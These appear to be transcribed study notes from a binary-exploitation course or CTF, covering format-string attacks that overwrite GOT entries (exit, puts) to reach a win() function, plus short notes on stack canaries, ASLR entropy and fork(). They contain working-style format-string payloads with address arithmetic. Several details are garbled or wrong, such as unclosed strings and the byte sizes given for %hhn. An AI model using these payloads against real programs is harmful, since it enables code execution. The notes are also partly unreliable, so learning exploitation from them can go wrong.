Format 2 (continued)

win_addr = 0x401236

exit_addr = 0x401058

Goes into 6th parameter

fmt_str = f"%6$4662s %8$hn

exploit_str = {0: fmt_str, 16: exit_addr}

param 6 = 0 7 = +8 8 = +16

We need to make sure atleast one of the functions we call happens after we manipulate the GOT

If we chose exit, we get recursion because win() has the exit call as well

%n writes 4 bytes (unsigned int A)
%hn writes 2 bytes ⋮
%hhn writes 2 byte •

★ Use Puts function to write values ★

%s defaults the pointer of a string

%p

f"%0466d%p%8$hn"

No need for %c at the start because we just want to write to the screen.

For Other Challenges We need

To use multiple fmt writes

puts_got = 0x401008

401030

puts_addr + 1

fmt_1 = f"%54p%8$hhn

fmt_2 = f"%18p%9$hhn

{0: fmt_str, 16: puts_got, 24: puts_got+1}

+

fmt_str 2

0x112 - 0x36 = 220

$$fmt\_2 = \text{"\%220p\%9hhn"}$$

Since we are doing two writes, we need to make sure the count is right when its read into it

Count @ 1st %n

1st	00	36
2nd	01	12

Since hhn only writes single bytes, it will pick 1**12** out of 1**12**

flat({0: fmt_1 + fmt_2, 24: puts_got_addr,
32: puts_got + 1})

fmt_1 = %54p%9$hhn

fmt_2 = %220p%10$hhn

win_addr = 401236

54

220 -

Stack Canaries

A value placed on the stack by the compiler to detect if there is any manipulation of the stacks memory

A canary doesn't stop the manipulation just detects it

func <stack_check_fail> gets called and if it fails the program crashes

fs: 0x28 = Segmentation Register where the canary is stored before being placed on the stack

Canary Value contains null byte

at the end so you cant keep writing to the buffer since a string will null terminate

ALSR

Address Layout Space Randomization

ALSR is corse grained.

We can move around the sections of the functions calls, but the offsets to other libc functions remain the same

LibC Addresses always end in 000

12 bits

$2^{12} = 4096$

↑

Size of a Page in the virtual address space

the start of a section of libc must align with a start of a page

Only 16 bits of libc addr is randomized

$2^{16} = 65536$

= total guess needed

fork() call does not rerandomize ASLR or Canary values